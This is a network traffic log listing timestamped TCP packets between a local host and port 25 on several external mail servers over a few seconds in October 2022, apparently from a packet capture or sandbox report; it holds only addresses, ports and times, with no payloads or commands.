Oct 31, 2022 12:20:34.571125984 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:34.605571032 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:34.605753899 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:34.638765097 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:34.654706001 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:34.664176941 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:34.664386988 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:34.668060064 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:34.668134928 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:34.688589096 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:34.688848972 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:34.697988033 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:34.700649023 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:34.739079952 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:34.809115887 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:34.809277058 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:34.897871017 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:34.923125029 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:34.926136971 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.010333061 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.010929108 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.044017076 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.044512987 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.044719934 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.045914888 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.079164982 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.079189062 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.079200983 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.079212904 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.079225063 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.079353094 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.079432011 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.084028006 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.086044073 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.112546921 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112591028 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112627029 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112660885 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112689972 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112710953 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.112718105 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112710953 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.112746000 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112775087 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112802029 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112829924 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112835884 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.112835884 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.112837076 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.112857103 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112886906 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112905979 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.112906933 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112905979 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.112931967 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112962961 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.112993002 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.113020897 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.118953943 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.118989944 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.125853062 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:35.135608912 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.146068096 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146109104 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146131992 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146157026 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146179914 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146202087 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146224022 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146245003 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146266937 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146287918 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146312952 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146336079 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146358967 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146379948 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146461010 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146483898 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146600008 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.146622896 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.150002003 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.150027037 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.150104046 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.150130033 CET	50056	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:35.171746016 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.174019098 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.183295965 CET	25	50056	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:35.217993021 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:35.256885052 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:35.257041931 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:35.378267050 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.408694029 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.409128904 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.411880970 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.468274117 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:35.506405115 CET	50059	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:35.573600054 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:35.587011099 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:35.587168932 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:35.611906052 CET	25	50059	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:35.612128019 CET	50059	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:35.615961075 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.616009951 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.616039991 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.616069078 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.616103888 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.616134882 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.616134882 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.616242886 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.620966911 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.621057034 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.623049021 CET	25	50058	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:35.623162985 CET	50058	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:35.670655966 CET	50060	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:35.702028036 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:35.702328920 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:35.756023884 CET	25	50059	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:35.774055004 CET	50059	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:35.814590931 CET	25	50060	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:35.818051100 CET	50060	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:35.820434093 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820451975 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820465088 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820477009 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820487976 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820498943 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820509911 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820563078 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.820606947 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820620060 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820631981 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820636988 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.820663929 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.820686102 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820688009 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:35.820698023 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820708990 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820744038 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820755005 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820804119 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820836067 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.820884943 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.825138092 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.825154066 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:35.883982897 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:35.884207964 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:35.896841049 CET	25	50059	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:35.897377014 CET	50059	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:35.972743034 CET	25	50060	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:35.972949982 CET	50060	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:36.021056890 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.025438070 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025475025 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025495052 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025511026 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025527954 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025546074 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025563002 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025583029 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025593996 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025749922 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025798082 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025813103 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025830030 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025845051 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025861025 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025876045 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025891066 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.025934935 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.040755033 CET	25	50059	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:36.041501045 CET	50059	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:36.061297894 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.061347008 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.061451912 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:36.070863962 CET	50053	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:36.097043037 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:36.117917061 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:36.118201971 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:36.120306015 CET	25	50060	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:36.124275923 CET	50060	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:36.201102972 CET	25	50059	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:36.210405111 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.210746050 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:36.218780041 CET	25	50059	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:36.220323086 CET	50059	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:36.268585920 CET	25	50060	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:36.268990040 CET	50060	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:36.275012016 CET	25	50053	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:36.325898886 CET	25	50059	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:36.350534916 CET	25	50059	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:36.350800991 CET	50059	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:36.420345068 CET	25	49830	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:36.420514107 CET	49830	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:36.456764936 CET	25	50060	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:36.462296009 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:36.462660074 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:36.482436895 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:36.527447939 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.575352907 CET	25	49830	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:36.576188087 CET	25	49830	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:36.576421022 CET	49830	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:36.578075886 CET	49830	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:36.649435043 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:36.649691105 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:36.654264927 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.654496908 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:36.655810118 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:36.769649029 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:36.769812107 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:36.777764082 CET	25	50060	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:36.778208971 CET	50060	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:36.922126055 CET	25	50060	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:36.922390938 CET	50060	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:36.923701048 CET	25	50060	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:36.923844099 CET	50060	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:36.971127033 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972306967 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972335100 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972342968 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972356081 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972363949 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972372055 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972378969 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972387075 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972393990 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972402096 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:36.972600937 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:36.972600937 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:36.998361111 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:36.998972893 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:37.013849020 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:37.178210020 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:37.178669930 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:37.289378881 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289412022 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289427042 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289442062 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289454937 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289469957 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289482117 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289486885 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:37.289499998 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289513111 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289526939 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289541006 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289546967 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:37.289556026 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289570093 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289582968 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289591074 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:37.289597034 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289609909 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289623022 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289635897 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289649963 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.289664030 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.368300915 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:37.535906076 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:37.536362886 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:37.542851925 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:37.606287003 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606494904 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606513977 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606527090 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606535912 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606545925 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606555939 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606564999 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606574059 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606581926 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606590033 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606599092 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606606960 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606616020 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606625080 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606633902 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606642008 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.606651068 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.716552973 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:37.716788054 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:37.749612093 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.749635935 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:37.749731064 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:37.749876022 CET	50055	25	192.168.2.5	142.250.157.26
Oct 31, 2022 12:20:37.905611992 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:38.066675901 CET	25	50055	142.250.157.26	192.168.2.5
Oct 31, 2022 12:20:38.070764065 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:38.070985079 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:38.080842018 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.245136023 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.245389938 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:38.246541977 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:38.440346956 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:38.609468937 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610480070 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610497952 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610512018 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610522032 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610532999 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610548019 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610560894 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610574961 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610588074 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610600948 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.610795975 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:38.610893965 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:38.625495911 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:38.625675917 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:38.974863052 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.974922895 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.974940062 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.974953890 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.974972010 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.974983931 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.974997044 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975008965 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975020885 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975034952 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975049019 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975064039 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975076914 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975090027 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975104094 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975117922 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975125074 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:38.975131989 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975125074 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:38.975145102 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975157976 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:38.975200891 CET	50057	25	192.168.2.5	74.125.200.26
Oct 31, 2022 12:20:38.994996071 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.159878969 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:39.164603949 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.166268110 CET	50061	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:39.339196920 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339237928 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339252949 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339261055 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339277029 CET	25	50057	74.125.200.26	192.168.2.5
Oct 31, 2022 12:20:39.339289904 CET	25	50057	74.125.200.26	192.168.2.5
